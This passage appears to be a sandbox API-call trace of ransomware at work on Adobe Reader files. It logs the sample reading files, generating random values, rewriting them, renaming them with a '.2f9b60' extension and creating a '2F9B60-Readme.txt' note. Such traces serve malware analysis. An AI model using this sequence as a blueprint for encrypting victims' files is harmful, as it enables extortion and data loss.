RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053940) returned 1 [0164.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.225] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="e7") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="11") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="79") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="da") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="e1") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="ae") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="66") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="17") returned 2 [0164.225] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.226] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="42") returned 2 [0164.226] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.226] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="ae") returned 2 [0164.226] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="28") returned 2 [0164.226] RtlInitAnsiString (in: DestinationString=0x2661f948, SourceString="e7c81179dad8ebf1dde1aeeed2664fdd17e542f3ae28" | out: DestinationString="e7c81179dad8ebf1dde1aeeed2664fdd17e542f3ae28") [0164.226] RtlAnsiStringToUnicodeString (in: DestinationString=0x2661f918, SourceString="e7c81179dad8ebf1dde1aeeed2664fdd17e542f3ae28", AllocateDestinationString=1 | out: DestinationString="e7c81179dad8ebf1dde1aeeed2664fdd17e542f3ae28") returned 0x0 [0164.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203faf20 [0164.226] RtlFreeAnsiString (AnsiString="e") [0164.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053970) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c165e0) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523b0) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052410) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052380) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8030) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537f0) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538b0) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538e0) returned 1 [0164.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230ee60 [0164.229] wcscat (in: _Dest=0x4230ee60, _Source="e7c81179dad" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e7c81179dad") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e7c81179dad" [0164.229] wcscat (in: _Dest=0x4230ee60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e7c81179dad.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e7c81179dad.2f9b60" [0164.229] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e7c81179dad.2f9b60", NtPathName=0x2661f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e7c81179dad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2ba10 [0165.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2ba10) returned 1 [0165.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad000) returned 1 [0165.140] NtQueryInformationFile (in: FileHandle=0x147c, IoStatusBlock=0x2661f958, FileInformation=0x2661f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2661f958, FileInformation=0x2661f968) returned 0x0 [0165.140] NtSetInformationFile (FileHandle=0x147c, IoStatusBlock=0x2661f958, FileInformation=0x2661f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230ee60) returned 1 [0165.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203faf20) returned 1 [0165.145] FlushFileBuffers (hFile=0x147c) returned 1 [0166.268] CloseHandle (hObject=0x147c) returned 1 [0183.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c470 [0183.985] wcscpy (in: _Dest=0x4205c470, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0183.985] wcscat (in: _Dest=0x4205c470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0183.985] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) returned 0xffffffff [0184.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2417 os_tid = 0x1e38 [0153.383] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan")) returned 0x20 [0153.383] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN", dwFileAttributes=0x20) returned 1 [0153.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1470 [0153.384] GetFileSizeEx (in: hFile=0x1470, lpFileSize=0x25bdf780 | out: lpFileSize=0x25bdf780*=7680) returned 1 [0153.384] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.384] ReadFile (in: hFile=0x1470, lpBuffer=0x25bdf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25bdf748, lpOverlapped=0x0 | out: lpBuffer=0x25bdf700*, lpNumberOfBytesRead=0x25bdf748*=0x4, lpOverlapped=0x0) returned 1 [0153.604] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053910 [0153.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420539a0 [0153.605] NtQuerySystemTime (in: CurrentTime=0x25bdf640 | out: CurrentTime=0x25bdf640*=132462177587374000) returned 0x0 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x38cb8f6f [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x6ba6ef32 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x74f6cea8 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x2305c283 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x71dc1b6d [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x17773a15 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x26d94acb [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x74428165 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x41d71ffc [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x494e0e21 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x7180abac [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x414c5cee [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x2792d873 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x24a5a1d9 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x158b6eec [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x7a1d08e [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x1c13f52a [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x7850aaf3 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x55a9b04f [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x1322822f [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x76e2c66a [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x49233561 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x44276145 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x26b17999 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x61a18d07 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x61a0dafc [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x21c78413 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x41d71ffc [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x5352e699 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x167bc619 [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x107681cf [0153.605] RtlRandomEx (in: Seed=0x25bdf630 | out: Seed=0x25bdf630) returned 0x4f3ed9c [0153.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420539d0 [0153.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0153.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a00 [0153.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0153.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539a0) returned 1 [0153.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0153.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0153.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426f09e0 [0153.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426f45f0 [0153.620] ReadFile (in: hFile=0x1470, lpBuffer=0x426f09e0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x25bdf630, lpOverlapped=0x0 | out: lpBuffer=0x426f09e0*, lpNumberOfBytesRead=0x25bdf630*=0x1e00, lpOverlapped=0x0) returned 1 [0154.263] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.263] WriteFile (in: hFile=0x1470, lpBuffer=0x426f45f0*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x25bdf634, lpOverlapped=0x0 | out: lpBuffer=0x426f45f0*, lpNumberOfBytesWritten=0x25bdf634*=0x1e00, lpOverlapped=0x0) returned 1 [0162.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7df0 [0162.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7e20 [0162.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7e20) returned 1 [0162.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426f45f0) returned 1 [0162.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426f09e0) returned 1 [0162.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0162.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0162.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7e20 [0162.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0162.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0162.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7e50 [0162.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7e50) returned 1 [0162.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7e50 [0162.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7e80 [0162.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7eb0 [0162.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7eb0) returned 1 [0162.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0162.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0162.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c162b0 [0162.185] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.186] WriteFile (in: hFile=0x1470, lpBuffer=0x42c162b0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x25bdf750, lpOverlapped=0x0 | out: lpBuffer=0x42c162b0*, lpNumberOfBytesWritten=0x25bdf750*=0x108, lpOverlapped=0x0) returned 1 [0164.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a90 [0164.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a90) returned 1 [0164.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a90 [0164.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a60 [0164.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a60) returned 1 [0164.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.197] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.197] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="da") returned 2 [0164.197] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.197] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="3f") returned 2 [0164.197] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="29") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="5f") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="70") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="07") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="49") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="18") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="fb") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="76") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="df") returned 2 [0164.198] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="0e") returned 2 [0164.198] RtlInitAnsiString (in: DestinationString=0x25bdf7c8, SourceString="c3da5a3f29f34ac65fcd701ac807c14918b0fb76df0e" | out: DestinationString="c3da5a3f29f34ac65fcd701ac807c14918b0fb76df0e") [0164.198] RtlAnsiStringToUnicodeString (in: DestinationString=0x25bdf798, SourceString="c3da5a3f29f34ac65fcd701ac807c14918b0fb76df0e", AllocateDestinationString=1 | out: DestinationString="c3da5a3f29f34ac65fcd701ac807c14918b0fb76df0e") returned 0x0 [0164.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fadd0 [0164.199] RtlFreeAnsiString (AnsiString="c") [0164.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a90) returned 1 [0164.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c162b0) returned 1 [0164.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7e50) returned 1 [0164.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7e80) returned 1 [0164.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7e20) returned 1 [0164.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7df0) returned 1 [0164.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053910) returned 1 [0164.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539d0) returned 1 [0164.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a00) returned 1 [0164.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230ec80 [0164.202] wcscat (in: _Dest=0x4230ec80, _Source="c3da5a3f29f" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c3da5a3f29f") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c3da5a3f29f" [0164.202] wcscat (in: _Dest=0x4230ec80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c3da5a3f29f.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c3da5a3f29f.2f9b60" [0164.202] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c3da5a3f29f.2f9b60", NtPathName=0x25bdf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c3da5a3f29f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b7d0 [0165.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b7d0) returned 1 [0165.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac970) returned 1 [0165.130] NtQueryInformationFile (in: FileHandle=0x1470, IoStatusBlock=0x25bdf7d8, FileInformation=0x25bdf7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25bdf7d8, FileInformation=0x25bdf7e8) returned 0x0 [0165.130] NtSetInformationFile (FileHandle=0x1470, IoStatusBlock=0x25bdf7d8, FileInformation=0x25bdf7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230ec80) returned 1 [0165.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fadd0) returned 1 [0165.136] FlushFileBuffers (hFile=0x1470) returned 1 [0166.267] CloseHandle (hObject=0x1470) returned 1 [0183.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182720 [0191.493] wcscpy (in: _Dest=0x43182720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0191.493] wcscat (in: _Dest=0x43182720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0191.493] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) returned 0x20 [0234.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43182720) returned 1 [0234.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e460) returned 1 Thread: id = 2418 os_tid = 0x1e3c [0153.385] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu")) returned 0x20 [0153.386] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU", dwFileAttributes=0x20) returned 1 [0153.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x146c [0153.387] GetFileSizeEx (in: hFile=0x146c, lpFileSize=0x266cfd40 | out: lpFileSize=0x266cfd40*=8192) returned 1 [0153.387] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.387] ReadFile (in: hFile=0x146c, lpBuffer=0x266cfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x266cfd08, lpOverlapped=0x0 | out: lpBuffer=0x266cfcc0*, lpNumberOfBytesRead=0x266cfd08*=0x4, lpOverlapped=0x0) returned 1 [0153.694] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d00 [0153.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d90 [0153.694] NtQuerySystemTime (in: CurrentTime=0x266cfc00 | out: CurrentTime=0x266cfc00*=132462177588310000) returned 0x0 [0153.694] RtlRandomEx (in: 